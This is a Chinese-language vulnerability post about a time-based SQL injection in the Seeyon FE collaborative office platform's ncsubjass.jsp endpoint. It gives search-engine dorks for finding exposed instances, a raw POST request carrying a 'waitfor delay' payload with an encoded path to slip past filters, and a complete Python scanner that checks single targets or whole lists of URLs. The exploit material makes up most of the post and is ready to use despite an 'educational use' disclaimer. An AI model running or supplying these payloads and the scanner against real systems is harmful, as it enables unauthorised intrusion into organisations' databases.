聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。
文章目錄
- 漏洞描述
- 漏洞復現
- 測試工具
漏洞描述
致遠互聯FE協作辦公平臺是一個專注于協同管理軟件領域的數智化運營平臺及云服務提供商。其ncsubjass.jsp
接口處存在SQL注入漏洞,惡意攻擊者可能會向數據庫發送構造的惡意SQL查詢語句。
漏洞復現
1)信息收集
fofa:body="li_plugins_download"
hunter:web.body="li_plugins_download"
哲學家們只是用不同的方式解釋世界,而問題在于改變世界。
2)構造數據包
POST /fenc/ncsubjass.j%73p HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 36subjcode=-1';waitfor delay '0:0:5'--
響應包延遲了5秒,驗證存在sql注入。
測試工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client # 導入處理HTTP請求的模塊
import ssl # 導入SSL支持模塊
import argparse # 導入命令行參數解析模塊
from urllib.parse import urlparse # 導入URL解析模塊
import time # 導入時間處理模塊# 定義控制臺輸出顏色代碼
RED = '\033[91m' # 紅色
RESET = '\033[0m' # 重置顏色def check_vulnerability(url):"""檢查給定URL是否存在特定的SQL注入漏洞。"""try:# 解析URL,獲取域名和協議parsed_url = urlparse(url)# 設置請求的路徑和數據體path = "/fenc/ncsubjass.j%73p" # 要請求的路徑,其中j%73p為編碼后的".js"# 構造POST請求的數據體,包含潛在的SQL注入payloadbody = "subjcode=-1';waitfor delay '0:0:3'--"headers = {"Content-Type": "application/x-www-form-urlencoded", # 設置Content-Type頭"User-Agent": "Mozilla/5.0" # 設置User-Agent頭}# 根據URL的協議創建連接對象,如果是HTTPS則忽略證書驗證conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)# 記錄開始時間start_time = time.time()# 發送POST請求conn.request("POST", path, body=body, headers=headers)# 獲取服務器響應response = conn.getresponse()# 計算請求耗時elapsed_time = time.time() - start_time# 如果響應時間在3到5秒之間,可能表明存在SQL注入漏洞(因為waitfor delay '0:0:3'會延遲響應)if 3 <= elapsed_time <= 5:print(f"{RED}URL [{url}] 可能存在致遠互聯FE協作辦公平臺 ncsubjass SQL注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except Exception as e:# 如果請求失敗,打印錯誤信息print(f"URL [{url}] 請求失敗: {e}")def main():"""主函數,解析命令行參數并調用漏洞檢查函數。"""# 創建命令行參數解析器parser = argparse.ArgumentParser(description='檢測目標地址是否存在致遠互聯FE協作辦公平臺 ncsubjass SQL注入漏洞')# 添加命令行參數選項parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果指定了單個URL,進行漏洞檢查if args.url:# 確保URL格式正確if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果指定了包含多個URL的文件,逐個讀取并進行漏洞檢查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines() # 讀取所有行并去除換行符for url in urls:# 確保URL格式正確if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 當作為主程序運行時,調用main函數
if __name__ == '__main__':main()
運行截圖